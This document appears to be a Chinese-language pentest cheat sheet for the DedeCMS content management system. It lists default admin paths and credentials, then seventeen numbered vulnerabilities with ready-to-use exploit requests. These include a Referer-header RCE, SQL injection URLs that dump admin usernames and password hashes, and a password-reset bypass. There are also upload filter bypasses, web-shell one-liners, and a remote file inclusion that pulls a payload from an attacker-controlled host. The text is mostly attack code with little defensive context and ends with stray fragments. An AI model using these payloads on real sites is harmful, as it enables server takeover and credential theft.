默认配置信息
默认后台地址:dede/login.php
默认口令:admin/admin
版本查看:data/admin/ver.txt
数据库账号密码:data/common.inc.php
漏洞汇总
1、5.8.1 版本RCE漏洞
在include\common.func.php文件中的ShowMsg函数存在模板注入,从Referer头中取值,然后进行渲染,造成RCE。主要漏洞代码如下:
function ShowMsg(...){
if(...){
...
}
if(...){
$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
}
}
...
$tpl = new DedeTemplate();
$tpl->LoadString($msg);
POC如下:
{cat_hide}
GET /plus/flink.php?dopost=save&c=whoami HTTP/1.1
Host: 10.211.55.3
Referer: <?php "system"($c);die;/*
2、5.7版本ajax_membergroup.php SQL注入
检测漏洞,访问下面地址,出现下图信息说明漏洞存在:
member/ajax_membergroup.php?action=post&membergroup=1
获取管理员用户名:
member/ajax_membergroup.php?action=post&membergroup=@`'` Union select userid from `#@__admin` where 1 or id=@`'`
获取管理员密码hash:
member/ajax_membergroup.php?action=post&membergroup=@`'` Union select pwd from `#@__admin` where 1 or id=@`'`
得到的是19位的字符串,去掉前三位和最后一位,得到管理员的16位MD5值。
3、5.7版本前台任意账号密码修改
访问下面地址获取key:
uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=1
然后拼接如下连接便可重置密码:
uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=yegBWVfW
4、5.7.72版本cookie伪造导致任意前台用户登录(SSV-97087)
访问下面地址获取伪造的cookie值:
uploads/member/index.php?uid=001
接下来使用001账号登录,登录后修改cookie。将last_vid的值赋给DedeUserID,last_vid__ckMd5的值赋给DedeUserID__ckMd5,保存后刷新页面登录到admin用户中。可以通过修改密码将两个表dede_admin和dede_member中的密码同时修改从而登录后台(需要知道原密码才能修改)。
5、5.7版本前台任意文件上传(CVE-2018-20129)
dede在uploads/include/dialog/select_images_post.php代码中校验文件名时,不是取文件的后缀名来进行判断的,而是对文件格式进行判断,然后再取后缀名进行拼接上传,便造成了可已使用xxx.jpg.p%php或xxx.jpg.p*hp等方式绕过。前台会员可以通过内容中心的编辑器中上传绕过:
6、5.7版本后台ad_js.php getshell
漏洞在“模块”下的“广告管理”处,这里点击“添加一个新广告”,然后插入恶意代码,如图:
这里我们是写入的是一句话木马,直接GET方式执行任意代码,便可在源代码中得到结果,如图:
7、5.7版本/plus/recommend.php SQL注入漏洞
访问如下地址获取管理员账号密码:
/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=' or mid=@`'` union select 1,2,3,(select concat(0x7c,userid,0x7c,pwd) from `%23@__admin` limit 0,1),5,6,7,8,9%23@`'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type]=11
8、5.7版本plus/search.php SQL注入漏洞
访问如下地址,如果正常显示说明漏洞不存在,返回Safe Alert: Request Error step x!
说明漏洞存在。
/plus/search.php?keyword=as&typeArr[uNion]%20=a
返回Safe Alert: Request Error step 2 !
使用:
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
返回Safe Alert: Request Error step 1 !
使用:
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
9、5.7后台任意代码执行(CVE-2018-7700)
该漏洞的触发文件为 /dede/tag_test_action.php。起因是 csrf_check() 函数的绕过,导致可执行任意代码。
Poc如下:
/tag_test_action.php?url=a&token=&partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field}
10、5.7版本远程文件包含漏洞(CVE-2015-4553)
利用变量覆盖漏洞将$insLockfile构造成任意不存在的文件就可以清空config_update.php,然后控制updateHost参数就可以开始远程文件包含上传我们想要上传的文件了。
清空config_update.php文件内容:
/uploads/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php
在VPS上创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入想上传的php文件内容,然后开启web服务使用下面请求上传文件:
/uploads/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://192.168.10.140/
11、5.7版本后台代码执行漏洞(CNVD-2018-01221)
感觉这个漏洞应该叫任意文件上传吧,访问下面路径在页面源代码中获取到token值:
/dede/tpl.php?action=upload
然后访问下面请求上传文件:
/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=【token值】
上传的文件地址:
/include/taglib/moonsec.lib.php
12、5.7版本/plus/flink_add.php SQL 注入漏洞
网站要支持友链,Post 请求中的 logo 参数存在 SQL 注入,申请一个友情连接,填入验证码抓包,将Post数据替换为下面数据查版本:
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=验证码&_FILES[webname][name]=1.gif&_FILES[webname][type]=p_w_picpath/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
替换为下面数据查密码:
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=验证码&_FILES[webname][name]=1.gif&_FILES[webname][type]=p_w_picpath/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
13、5.7版本远程代码执行漏洞(CVE-2022-35516)
DedeCMS v5.7.93在文件中增加了登录失败锁定功能,/dede/login.php以符合相关的网络安全规定。当用户登录失败时,失败消息将被写入文件/data/login.data.php以记录该用户登录失败的次数。
Poc如下:
POST /dede/login.php HTTP/1.1
Host: dedecms5793
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e9ag7oevkh77gnko3cdmt7mbc2
dopost=login&userid=%5C%27.phpinfo%28%29%3B%3F%3E&pwd=123&validate=hw0k
14、5.7版本sys_verifies后台文件写入(CVE-2018-9175)
漏洞代码在/dede/sys_verifies.php文件,该文件会在/data目录下生成一个inc文件,并且这个inc文件的内容是我们可以控制的,因此只需要再找一个include了这个inc文件的地方,便可以完成攻击。
使用下面请求向modifytmp.inc中写入一句话木马:
/dede/sys_verifies.php?action=getfiles&refiles[]=\";eval($_GET[a]); die(); //
访问下面请求触发文件包含漏洞执行php代码:
/dede/sys_verifies.php?action=down&a=echo 'hummer';
15、5.7版本sys_cache_up.php后台文件写入
漏洞代码在/dede/sys_cache_up.php文件 36行处,由于可以操作文件内容,且文件内容是从数据库取值的,因此通过在数据库里写入内容,通过查询数据库将文件写入服务器。
使用下面请求将代码写入数据库:
/dede/stepselect_main.php?action=addenum_save&ename=123&egroup=;phpinfo();$&issign=1
访问下面请求将代码执行命令:
/dede/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\";phpinfo();die();//
16、album_add_后台文件上传(CVE-2019-8362)
制作图片马,内容为一句话木马,重命名为123.jpg.php,压缩为zip文件,打开/dede/album_add.php,选择从zip压缩包上传:
图片上传的位置为:Dedecms\uploads\allimg。
17、5.7.92版本后台文件上传漏洞(CNVD-2022-33420)
该漏洞是绕过了对上传文件内容的黑名单过滤,preg_replace函数不在黑名单内,这个函数是正则匹配函数,但是加了/e修饰符的话,就会执行php代码。
使用下面代码绕过黑名单上传:
<?php
preg_replace("/abc/e", $_REQUEST['cmd'], "abcd");
?>
但是php7不再支持preg_replace的/e修饰符。
xsser
asda
alert(1)
asda
666